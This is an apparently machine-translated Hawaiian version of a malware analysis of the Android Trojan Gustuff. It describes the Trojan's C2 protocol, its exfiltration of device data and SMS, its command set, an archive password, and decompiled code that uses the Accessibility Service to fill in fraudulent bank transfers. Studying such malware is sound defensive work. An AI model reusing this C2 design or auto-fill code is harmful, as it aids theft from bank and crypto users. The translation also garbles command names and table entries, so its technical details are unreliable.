Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki

Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki

ʻO kahi lā aʻe Group-IB hoʻomaopopo e pili ana i ka hana o ke kelepona Android Trojan Gustuff. Hoʻohana wale ia i nā mākeke honua, e kūʻē ana i nā mea kūʻai aku o nā panakō haole 100 nui loa, nā mea hoʻohana i nā ʻeke kālā crypto mobile 32, a me nā kumuwaiwai e-commerce nui. Akā ʻo ka mea hoʻomohala o Gustuff he cybercriminal ʻōlelo Lūkini ma lalo o ka inoa inoa ʻo Bestoffer. A hiki i kēia manawa, hoʻomaikaʻi ʻo ia i kāna Trojan "he huahana koʻikoʻi no ka poʻe me ka ʻike a me ka ʻike."

He loea kālailai code malicious ma Group-IB ʻO Ivan Pisarev i kāna noiʻi ʻana, kamaʻilio kikoʻī ʻo ia e pili ana i ka hana ʻana o Gustuff a me kāna mau pōʻino.

ʻO wai ka Gustuff e ʻimi nei?

Aia ʻo Gustuff i kahi hanauna hou o ka malware me nā hana automate piha. Wahi a ka mea hoʻomohala, ua lilo ka Trojan i mea hou a i hoʻomaikaʻi hou ʻia o ka AndyBot malware, mai ka mahina ʻo Nowemapa 2017 e hoʻouka nei i nā kelepona Android a ʻaihue i ke kālā ma o nā palapala pūnaewele phishing e hoʻopili nei i nā noi kelepona o nā panakō honua kaulana a me nā ʻōnaehana uku. Ua hōʻike ʻo Bestoffer he $800 ka uku hoʻolimalima Gustuff Bot i kēlā me kēia mahina.

Ua hōʻike ʻia ka hōʻike ʻana o ka Gustuff sample i ka Trojan e hoʻopili ana i nā mea kūʻai aku e hoʻohana ana i nā noi kelepona o nā panakō nui loa, e like me Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, a me nā wallets crypto. Bitcoin Wallet, BitPay , Cryptopay, Coinbase, etc.

Hoʻokumu mua ʻia ma ke ʻano he Trojan banking maʻamau, i ka mana o kēia manawa ua hoʻonui nui ʻo Gustuff i ka papa inoa o nā pahuhopu hiki ke hoʻouka ʻia. Ma waho aʻe o nā noi Android no nā panakō, nā hui fintech a me nā lawelawe crypto, ua kuhikuhi ʻo Gustuff i nā mea hoʻohana i nā noi mākeke, nā hale kūʻai pūnaewele, nā ʻōnaehana uku a me nā ʻelele koke. ʻO ka mea nui, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut a me nā mea ʻē aʻe.

Wahi komo: helu no ka maʻi nui

Hōʻike ʻia ʻo Gustuff e ka vector "maʻamau" o ke komo ʻana i nā kelepona Android ma o nā leka SMS me nā loulou i nā APK. Ke hoʻopili ʻia kahi polokalamu Android me kahi Trojan ma ke kauoha a ke kikowaena, hiki iā Gustuff ke hoʻolaha hou aku ma o ka ʻikepili pili o ke kelepona maʻi a i ʻole ma o ka waihona kikowaena. Hoʻolālā ʻia ka hana a Gustuff no ka maʻi maʻi nui a me ka hoʻonui nui ʻana o ka ʻoihana o kāna mau mea hoʻohana - he hana "auto-fill" kūʻokoʻa i loko o nā noi waihona kālā kelepona kūpono a me nā wallets crypto, e hiki ai iā ʻoe ke wikiwiki a hoʻonui i ka ʻaihue kālā.

Ua hōʻike ʻia kahi haʻawina o Trojan ua hoʻokō ʻia ka hana autofill i loko me ka hoʻohana ʻana i ka Accessibility Service, kahi lawelawe no ka poʻe me ke kino kīnā. ʻAʻole ʻo Gustuff ka Trojan mua i hoʻopōmaikaʻi i ka pale ʻana i ka pilina me nā mea puka makani o nā noi ʻē aʻe e hoʻohana ana i kēia lawelawe Android. Eia nō naʻe, kakaikahi ka hoʻohana ʻana i ka Accessibility Service me ka hoʻopiha kaʻa.

Ma hope o ka hoʻoiho ʻana i ke kelepona o ka mea i pepehi ʻia, hiki iā Gustuff, me ka hoʻohana ʻana i ka Accessibility Service, ke launa pū me nā mea puka makani o nā noi ʻē aʻe (ka panakō, cryptocurrency, a me nā noi no ke kūʻai pūnaewele, memo, etc.), e hana ana i nā hana e pono ai nā mea hoʻouka. . No ka laʻana, ma ke kauoha a ke kikowaena, hiki i kahi Trojan ke kaomi i nā pihi a hoʻololi i nā waiwai o nā kahua kikokikona i nā noi waihona. ʻO ka hoʻohana ʻana i ka mīkini Accessibility Service e hiki ai i ka Trojan ke kāpae i nā mīkini palekana i hoʻohana ʻia e nā panakō e kūʻē i nā Trojans mobile hanauna mua, a me nā loli i ke kulekele palekana i hoʻokō ʻia e Google i nā mana hou o ka Android OS. No laila, "ʻike" ʻo Gustuff pehea e hoʻopau ai i ka palekana Google Protect: e like me ka mea kākau, hana kēia hana i 70% o nā hihia.

Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki

Hiki iā Gustuff ke hōʻike i nā leka PUSH hoʻopunipuni me nā kiʻi o nā noi kelepona kūpono. Kaomi ka mea hoʻohana i ka leka hoʻomaopopo PUSH a ʻike i kahi puka phishing i hoʻoiho ʻia mai ka kikowaena, kahi i komo ai ʻo ia i ke kāleka kāleka i noi ʻia a i ʻole ka ʻikepili putele crypto. Ma kahi hiʻohiʻona Gustuff ʻē aʻe, ua wehe ʻia ka noi no ka mea i hōʻike ʻia ka leka PUSH. I kēia hihia, hiki i ka malware, ma ke kauoha mai ke kikowaena ma o ka Accessibility Service, hiki ke hoʻopiha i nā kahua puka o kahi noi panakō no kahi kālepa hoʻopunipuni.

Hoʻokomo pū ka hana a Gustuff i ka hoʻouna ʻana i ka ʻike e pili ana i kahi mea maʻi i ka server, ka hiki ke heluhelu / hoʻouna i nā leka SMS, ka hoʻouna ʻana i nā noi USSD, ka hoʻokuʻu ʻana i ka SOCKS5 Proxy, ma hope o kahi loulou, ka hoʻouna ʻana i nā faila (me nā kiʻi paʻi kiʻi o nā palapala, nā screenshots, nā kiʻi) i ka server , hoʻonohonoho hou i ka mea hana i nā hoʻonohonoho hale hana.

Ka nānā ʻana i nā polokalamu malware

Ma mua o ka hoʻokomo ʻana i kahi noi ʻino, hōʻike ka Android OS i ka mea hoʻohana i kahi puka aniani i loaʻa kahi papa inoa o nā kuleana i noi ʻia e Gustuff:

Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki
E hoʻokomo wale ʻia ka palapala noi ma hope o ka loaʻa ʻana o ka ʻae o ka mea hoʻohana. Ma hope o ka hoʻomaka ʻana i ka noi, e hōʻike ka Trojan i ka mea hoʻohana i kahi puka makani:

Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki
Ma hope o ia e wehe i kona ikona.

Hoʻopili ʻia ʻo Gustuff, e like me ka mea kākau, e kahi packer mai FTT. Ma hope o ka hoʻomaka ʻana, hoʻopili ka palapala noi i ke kikowaena CnC e loaʻa nā kauoha. Ua hoʻohana kekahi mau faila a mākou i nānā ai i kahi IP address ma ke ʻano he kikowaena mana 88.99.171[.]105 (ma keia hope aku e hoike aku makou ia <%CnC%>).

Ma hope o ka hoʻomaka ʻana, hoʻomaka ka papahana e hoʻouna i nā memo i ke kikowaena http://<%CnC%>/api/v1/get.php.

ʻO ka pane e manaʻo ʻia ʻo JSON ma kēia ʻano:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

I kēlā me kēia manawa ke komo ʻia ka noi, hoʻouna ʻo ia i ka ʻike e pili ana i ka mea maʻi. Hōʻike ʻia ka ʻano memo ma lalo nei. He mea pono e hoʻomaopopo i nā māla piha, keu, Apps и ae - koho a e hoʻouna wale ʻia inā he kauoha noi mai CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Ke mālama nei i ka ʻikepili hoʻonohonoho

Mālama ʻo Gustuff i ka ʻike koʻikoʻi ma kahi faila makemake. ʻO ka inoa faila, a me nā inoa o nā ʻāpana i loko, ʻo ia ka hopena o ka helu ʻana i ka huina MD5 mai ke kaula. 15413090667214.6.1<%name%>kahi <%name%> — waiwai-inoa mua. ʻO ka wehewehe ʻana o Python i ka hana hoʻokumu inoa:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Ma ka mea ma hope aʻe e hōʻike mākou iā ia nameGenerator(hookomo).
No laila ʻo ka inoa faila mua: nameGenerator("API_SERVER_LIST"), loaʻa nā waiwai me nā inoa aʻe:

inoa hoʻololi waiwai
nameGenerator("API_SERVER_LIST") Loaʻa i kahi papa inoa o nā helu CnC ma ke ʻano o kahi laha.
nameGenerator("API_SERVER_URL") Loaʻa i ka helu CnC.
nameGenerator("SMS_UPLOAD") Hoʻonohonoho ʻia ka hae ma ka paʻamau. Inā hoʻonoho ʻia ka hae, hoʻouna i nā leka SMS iā CnC.
nameGenerator("SMS_ROOT_NUMBER") Helu kelepona kahi e hoʻouna ʻia ai nā leka SMS i loaʻa e ka mea maʻi. He null ka paʻamau.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Hoʻomaʻemaʻe ʻia ka hae ma ka paʻamau. Inā hoʻokomo ʻia, i ka wā e loaʻa ai kahi mea maʻi i kahi SMS, e hoʻouna ʻia i ka helu kumu.
nameGenerator("DEFAULT_APP_SMS") Hoʻomaʻemaʻe ʻia ka hae ma ka paʻamau. Inā hoʻonoho ʻia kēia hae, e hana ka palapala noi i nā memo SMS e hiki mai ana.
nameGenerator("DEFAULT_ADMIN") Hoʻomaʻemaʻe ʻia ka hae ma ka paʻamau. Inā hoʻonoho ʻia ka hae, aia nā kuleana luna o ka noi.
nameGenerator("DEFAULT_ACCESSIBILITY") Holoi ʻia ka hae ma ke ʻano paʻamau. Inā hoʻonoho ʻia ka hae, e holo ana kahi lawelawe e hoʻohana ana i ka Service Accessibility Service.
nameGenerator("APPS_CONFIG") ʻO kahi mea JSON i loaʻa kahi papa inoa o nā hana pono e hana ʻia ke hoʻomaka ʻia kahi hanana Accessibility e pili ana me kahi noi kikoʻī.
nameGenerator("APPS_INSTALLED") Mālama i ka papa inoa o nā noi i hoʻokomo ʻia ma ka hāmeʻa.
nameGenerator("IS_FIST_RUN") Hoʻonohonoho hou ʻia ka hae ma ka hoʻomaka mua.
nameGenerator("UNIQUE_ID") Loaʻa i kahi mea hōʻike kūʻokoʻa. Hana ʻia i ka wā i hoʻokuʻu ʻia ai ka bot no ka manawa mua.

Module no ka hana ʻana i nā kauoha mai ke kikowaena

Mālama ka palapala noi i nā helu o nā kikowaena CnC ma ke ʻano o kahi ʻano i hoʻopaʻa ʻia e Pākuʻi85 laina laina. Hiki ke hoʻololi ʻia ka papa inoa o nā kikowaena CnC i ka loaʻa ʻana o ke kauoha kūpono, a laila e mālama ʻia nā helu wahi i kahi faila makemake.

I ka pane ʻana i ka noi, hoʻouna ke kikowaena i kahi kauoha i ka noi. He mea pono e hoʻomaopopo i nā kauoha a me nā ʻāpana i hōʻike ʻia ma JSON format. Hiki i ka palapala noi ke hana i kēia mau kauoha:

hui hōʻikeʻano
muaHoʻomaka E hoʻomaka i ka hoʻouna ʻana i nā leka SMS i loaʻa e ka mea maʻi i ke kikowaena CnC.
muaStop E hooki i ka hoʻouna ʻana i nā leka SMS i loaʻa mai e ka mea maʻi i ke kikowaena CnC.
ussdRun E hoʻokō i ka noi USSD. ʻO ka helu āu e pono ai e hana i kahi noi USSD aia ma ka JSON kahua "helu".
hoʻounaSms E hoʻouna i hoʻokahi memo SMS (inā pono, "māhele" ka leka i mau ʻāpana). Ma ke ʻano he hoʻohālikelike, lawe ke kauoha i kahi mea JSON i loaʻa nā māla "i" - ka helu wahi a me "kino" - ke kino o ka memo.
hoʻounaSmsAb E hoʻouna i nā memo SMS (inā pono, "māhele" ka leka i nā ʻāpana) i nā mea a pau i ka papa inoa pili o ka mea maʻi. He 10 kekona ka manawa ma waena o ka hoʻouna ʻana i nā memo. Aia ke kino o ka memo ma ke kahua JSON "kino"
hoʻounaSmsMass E hoʻouna i nā memo SMS (inā pono, "māhele" ka memo i nā ʻāpana) i nā pilina i kuhikuhi ʻia i nā ʻāpana kauoha. He 10 kekona ka manawa ma waena o ka hoʻouna ʻana i nā memo. Ma ke ʻano he hoʻohālikelike, lawe ke kauoha i kahi array JSON (ke kahua "sms"), nā mea i loaʻa nā māla "i" - ka helu wahi a me "kino" - ke kino o ka memo.
hoʻololiServer Hiki i kēia kauoha ke lawe i kahi waiwai me ke kī "url" ma ke ʻano he hoʻohālikelike - a laila e hoʻololi ka bot i ka waiwai o ka nameGenerator("SERVER_URL"), a i ʻole "array" - a laila e kākau ka bot i ka array i nameGenerator ("API_SERVER_LIST") No laila, hoʻololi ka noi i ka helu o nā kikowaena CnC.
adminNumber Hoʻolālā ʻia ke kauoha e hana me kahi helu kumu. ʻAe ke kauoha i kahi mea JSON me kēia mau ʻāpana: "helu" - hoʻololi i ka inoaGenerator ("ROOT_NUMBER") i ka waiwai i loaʻa, "hoʻouna hou" - hoʻololi i ka inoaGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - hoʻouna i ka inoaGenerator ("ROOT_NUMBER" ) uniqueID.
updateInfo E hoʻouna i ka ʻike e pili ana i ka mea maʻi i ke kikowaena.
wipeData Ua manaʻo ʻia ke kauoha e holoi i ka ʻikepili mea hoʻohana. Ma muli o ka inoa i hoʻomaka ʻia ai ka noi, holoi ʻia ka ʻikepili me ka hoʻomaka hou ʻana o ka mea hoʻohana (mea hoʻohana mua), a i ʻole holoi ʻia ka ʻikepili mea hoʻohana (mea hoʻohana lua).
socksStart E hoʻokuʻu i ka module Proxy. Hōʻike ʻia ka hana o ka module ma kahi ʻāpana ʻokoʻa.
socksStop E hooki i ka module Proxy.
openLink E hahai i ka loulou. Aia ka loulou ma ka JSON parameter ma lalo o ke kī "url". Hoʻohana ʻia ka "android.intent.action.VIEW" e wehe i ka loulou.
uploadAllSms E hoʻouna i nā memo SMS a pau i loaʻa e ka mea hana i ke kikowaena.
uploadAllPhotos E hoʻouna i nā kiʻi mai kahi mea maʻi i kahi URL. Hele mai ka URL ma ke ʻano he ʻāpana.
uploadFile E hoʻouna i kahi faila i kahi URL mai kahi mea maʻi. Hele mai ka URL ma ke ʻano he ʻāpana.
uploadPhoneNumbers E hoʻouna i nā helu kelepona mai kāu papa inoa pili i ke kikowaena. Inā loaʻa kahi waiwai JSON me ke kī "ab" ma ke ʻano he ʻāpana, loaʻa ka palapala noi i kahi papa inoa o nā mea pili mai ka puke kelepona. Inā loaʻa kahi mea JSON me ke kī "sms" ma ke ʻano he hoʻohālikelike, heluhelu ka palapala noi i ka papa inoa o nā pilina mai nā mea hoʻouna i nā leka SMS.
hoʻololiArchive Hoʻoiho ka palapala noi i ka faila mai ka helu wahi i hele mai ma ke ʻano he hoʻohālikelike e hoʻohana ana i ke kī "url". Mālama ʻia ka faila i hoʻoiho ʻia me ka inoa "archive.zip". E wehe ka palapala noi i ka faila, me ka hoʻohana ʻana i ka ʻōlelo huna waihona "b5jXh37gxgHBrZhQ4j3D". Mālama ʻia nā faila i hoʻopaʻa ʻole ʻia ma ka papa kuhikuhi [mālama waho]/hgps. Ma kēia papa kuhikuhi, mālama ka palapala noi i nā pūnaewele hoʻopunipuni (i wehewehe ʻia ma lalo).
nā hana Hoʻolālā ʻia ke kauoha e hana pū me Action Service, i wehewehe ʻia ma kahi ʻāpana ʻokoʻa.
hōʻike ʻAʻohe hana.
manual Ua manaʻo ʻia ke kauoha e hoʻoiho i kahi faila mai kahi kikowaena mamao a mālama iā ia i ka papa kuhikuhi "Downloads". Hiki mai ka URL a me ka inoa faila ma ke ʻano he ʻāpana, nā kahua ma ka JSON parameter object, kēlā me kēia: "url" a me "fileName".
lawe Wehe i kahi faila mai ka papa kuhikuhi "Downloads". Hele mai ka inoa faila i kahi ʻāpana JSON me ke kī "fileName". ʻO ka inoa faila maʻamau "tmp.apk".
hōʻike Hōʻike i kahi leka hoʻomaopopo me ka wehewehe a me nā kikokikona i wehewehe ʻia e ke kikowaena hoʻokele.

Palapala Kauoha hōʻike:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

ʻO ka hoʻolaha i hana ʻia e ka faila ma lalo o ka hoʻokolokolo ʻana e like me nā hoʻolaha i hana ʻia e ka noi i kuhikuhi ʻia ma ke kahua mail app. Inā ka waiwai kahua openApp — ʻOiaʻiʻo, i ka wā e wehe ʻia ai kahi leka hoʻomaopopo, hoʻomaka ka noi i kuhikuhi ʻia ma ke kahua mail app. Inā ka waiwai kahua openApp — He wahahee, alaila:

  • Wehe ʻia kahi puka phishing, hoʻoiho ʻia nā mea mai ka papa kuhikuhi <% waihona waho%>/hgps/<%filename%>
  • Wehe ʻia kahi puka phishing, hoʻoiho ʻia nā mea mai ka kikowaena <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Wehe ʻia kahi puka phishing, hoʻokaʻawale ʻia ma ke ʻano he Google Play Card, me ka manawa e hoʻokomo i nā kikoʻī kāleka.

Hoʻouna ka palapala noi i ka hopena o kekahi kauoha i <%CnC%>set_state.php ma ke ʻano he mea JSON i kēia ʻano:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Hana Hana
ʻO ka papa inoa o nā kauoha i loaʻa i nā kaʻina noi hana. I ka loaʻa ʻana o kahi kauoha, hiki i ke kōmike hoʻoponopono kauoha ke komo i kēia lawelawe e hoʻokō i ke kauoha lōʻihi. Hāʻawi ka lawelawe i kahi mea JSON ma ke ʻano he ʻāpana. Hiki i ka lawelawe ke hoʻokō i kēia mau kauoha:

1. PARAMS_ACTION - i ka loaʻa ʻana o kēlā kauoha, loaʻa mua ka lawelawe mai ka JSON parameter i ka waiwai o ke kī Type, hiki ke penei:

  • serviceInfo - loaʻa i ka subcommand ka waiwai ma ke kī mai ka ʻāpana JSON komo ʻAʻole Pono. Inā ʻoiaʻiʻo ka hae, hoʻonohonoho ka palapala noi i ka hae FLAG_ISOLATED_PROCESS i kahi lawelawe e hoʻohana ana i ka Service Accessibility Service. Ma kēia ala e hoʻomaka ai ka lawelawe ma kahi kaʻina kaʻawale.
  • aa - loaʻa a hoʻouna i ka ʻike kikowaena e pili ana i ka puka aniani e nānā nei. Loaʻa ka palapala noi i ka ʻike me ka hoʻohana ʻana i ka papa AccessibilityNodeInfo.
  • Keʻena Luna - noi i nā kuleana luna.
  • ke kali - hoʻokuʻu i ka ActionsService no ka helu o nā milliseconds i kuhikuhi ʻia ma ka ʻāpana no ke kī "data".
  • makani - hoʻouna i kahi papa inoa o nā puka makani i ʻike ʻia e ka mea hoʻohana.
  • e hoʻohui - e hoʻokomo i ka noi ma ka mea maʻi. Aia ka inoa o ka waihona waihona ma ke kī "fileName". Aia ka waihona ma ka papa kuhikuhi Downloads.
  • global - ua manaʻo ʻia ka subcommand e hoʻokele mai ka puka makani o kēia manawa:
    • ma ka papa kuhikuhi koho wikiwiki
    • i hope
    • home
    • i na hoolaha
    • i ka puka makani noi i wehe koke ʻia

  • Launch - hoʻomaka i ka noi. Hele mai ka inoa noi ma ke kī ʻikepili.
  • leo - hoʻololi i ke ʻano kani i hāmau.
  • laka - hoʻohuli i ke kukui hope o ka pale a me ka papa keyboard i ka mālamalama piha. Hana ka palapala noi i kēia hana me ka hoʻohana ʻana iā WakeLock, e kuhikuhi ana i ke kaula [Lable Application]: INFO ma ke ʻano he hōʻailona.
  • permissionOverlay — ʻaʻole hoʻokō ʻia ka hana (ʻo ka pane i ka hoʻokō kauoha ʻo {"message":"Not support"} a i ʻole {"message":"low sdk"})
  • ʻike — ʻaʻole hoʻokō ʻia ka hana (ʻo ka pane i ka hoʻokō kauoha ʻo {"message":"Not support"}a i ʻole {"message":"Low API"})
  • 'ae - pono kēia kauoha e noi i nā ʻae no ka noi. Eia naʻe, ʻaʻole i hoʻokō ʻia ka hana nīnau, no laila ʻaʻohe manaʻo o ke kauoha. Hiki mai ka papa inoa o nā kuleana i noi ʻia ma ke ʻano he JSON array me ke kī "ʻae". Papa inoa maʻamau:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • LIKEWRITE_EXTERNAL_STORAGE

  • hamama - hōʻike i kahi puka phishing. Ma muli o ka palena e hele mai ana mai ke kikowaena, hiki i ka palapala noi ke hōʻike i kēia mau phishing windows:
    • Hōʻike i kahi puka phishing nona nā mea i kākau ʻia ma kahi faila ma kahi papa kuhikuhi <%papa kuhikuhi waho%>/hgps/<%param_filename%>. E hoʻouna ʻia ka hopena o ka mea hoʻohana me ka puka makani <%CnC%>/records.php
    • Hōʻike i kahi puka phishing nona nā mea i hoʻouka mua ʻia mai ka helu wahi <%url_param%>?id=<%bot_id%>&app=<%packagename%>. E hoʻouna ʻia ka hopena o ka mea hoʻohana me ka puka makani <%CnC%>/records.php
    • Hōʻike i kahi puka phishing i hoʻokaʻawale ʻia me he kāleka Google Play.

  • - Ua hoʻolālā ʻia ke kauoha e launa pū me nā mea puka makani o nā noi ʻē aʻe e hoʻohana ana i ka AcessibilityService. Ua hoʻokōʻia kahi lawelawe kūikawā ma ka papahana no ka pilina. Hiki i ka palapala noi i hoʻokolokolo ʻia ke launa pū me nā puka makani:
    • Ke hana nei i kēia manawa. I kēia hihia, aia ka id a i ʻole kikokikona (inoa) o ka mea āu e pono ai e launa pū me ka ʻāpana.
    • ʻIke ʻia e ka mea hoʻohana i ka manawa i hoʻokō ʻia ai ke kauoha. Koho ka polokalamu i nā puka makani ma ka id.

    Loaʻa i nā mea AccessibilityNodeInfo No nā mea puka makani o ka hoihoi, hiki i ka noi, ma muli o nā ʻāpana, ke hana i kēia mau hana:

    • ka nānā 'ana - hoʻonoho i ka manaʻo i ka mea.
    • kaomi — kaomi ma kahi mea.
    • actionId - hana i kahi hana ma ka ID.
    • setText — hoʻololi i ke kikokikona o kekahi mea. Hiki ke hoʻololi i ka kikokikona ma nā ʻano ʻelua: hana i kahi hana ACTION_SET_TEXT (inā ʻoi aku ka ʻōpio o ka Android o ka mea maʻi ma mua a i ʻole LOLLIPOP), a i ʻole ma ke kau ʻana i kahi kaula ma ka papa paʻi a paʻi i loko o kahi mea (no nā mana kahiko). Hiki ke hoʻohana ʻia kēia kauoha e hoʻololi i ka ʻikepili i loko o kahi noi panakō.

2. PARAMS_ACTIONS - like me PARAMS_ACTION, hiki mai kahi JSON o nā kauoha.

Me he mea lā e makemake nui ka poʻe i ke ʻano o ka hana o ka launa pū ʻana me nā mea puka makani o kahi noi ʻē aʻe. Pēlā e hoʻokō ʻia ai kēia hana ma Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Hana pani kikokiko:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

No laila, me ka hoʻonohonoho kūpono o ka kikowaena mana, hiki iā Gustuff ke hoʻopiha i nā kīʻaha kikokikona i ka noi waihona a kaomi i nā pihi pono e hoʻopau i ke kālepa. ʻAʻole pono ka Trojan e komo i loko o ka noi-ua lawa ia e hoʻouna i kahi kauoha e hōʻike i kahi leka PUSH a laila wehe i ka noi waihona kālā i hoʻokomo mua ʻia. E hōʻoia ka mea hoʻohana iā ia iho, a laila hiki iā Gustuff ke hoʻopiha i ke kaʻa.

Module hoʻoponopono memo SMS

Hoʻokomo ka palapala noi i kahi mea mālama hanana no ka mea maʻi e ʻae i nā memo SMS. Hiki i ka palapala noi ma lalo o ke aʻo ʻana ke loaʻa nā kauoha mai ka mea hoʻohana, i hele mai i ke kino o ka memo SMS. Aia nā kauoha ma ke ʻano:

7!5=<%Base64 i hoʻopaʻa ʻia ke kauoha%>

Huli ka palapala noi i ke kaula i nā memo SMS e hiki mai ana 7!5=, ke ʻike ʻia kahi kaula, hoʻokaʻawale ia i ke kaula mai Base64 ma offset 4 a hoʻokō i ke kauoha. Ua like nā kauoha me nā mea me CnC. Hoʻouna ʻia ka hopena hoʻokō i ka helu like i hele mai ai ke kauoha. ʻAno pane:

7*5=<%Base64 hoʻopaʻa ʻia o ka “result_code command”%>

ʻO ke koho, hiki i ka palapala noi ke hoʻouna i nā leka i loaʻa i ka helu Root. No ka hana ʻana i kēia, pono e hōʻike ʻia ka helu Root i ka faila makemake a pono e hoʻonohonoho ʻia ka hae hoʻihoʻi hou. Hoʻouna ʻia kahi leka SMS i ka helu o ka mea hoʻouka ma ke ʻano:

<%Mai ka helu%> - <%Ka manawa, hōpili: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Eia kekahi, koho, hiki i ka palapala noi ke hoʻouna i nā memo iā CnC. Hoʻouna ʻia ka leka SMS i ke kikowaena ma ke ʻano JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Inā hoʻonoho ʻia ka hae nameGenerator("DEFAULT_APP_SMS") - ua pau ka palapala noi i ka hana ʻana i ka leka SMS a hoʻomaʻemaʻe i ka papa inoa o nā memo e hiki mai ana.

Module proxy

Aia ka palapala noi ma lalo o ke aʻo ʻana i kahi module Backconnect Proxy (ma hope aku i kapa ʻia ʻo ka Proxy module), nona kahi papa ʻokoʻa e komo ana i nā kahua static me ka hoʻonohonoho. Mālama ʻia ka ʻikepili hoʻonohonoho i ka hāpana ma ke ʻano maopopo:

Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki

Hoʻopaʻa ʻia nā hana a pau e ka module Proxy i loko o nā faila. No ka hana ʻana i kēia, hana ka noi ma waho o waho i kahi papa kuhikuhi i kapa ʻia ʻo "logs" (ke kahua ProxyConfigClass.logsDir i ka papa hoʻonohonoho), kahi e mālama ʻia ai nā faila log. Loaʻa ka logging i nā faila me nā inoa:

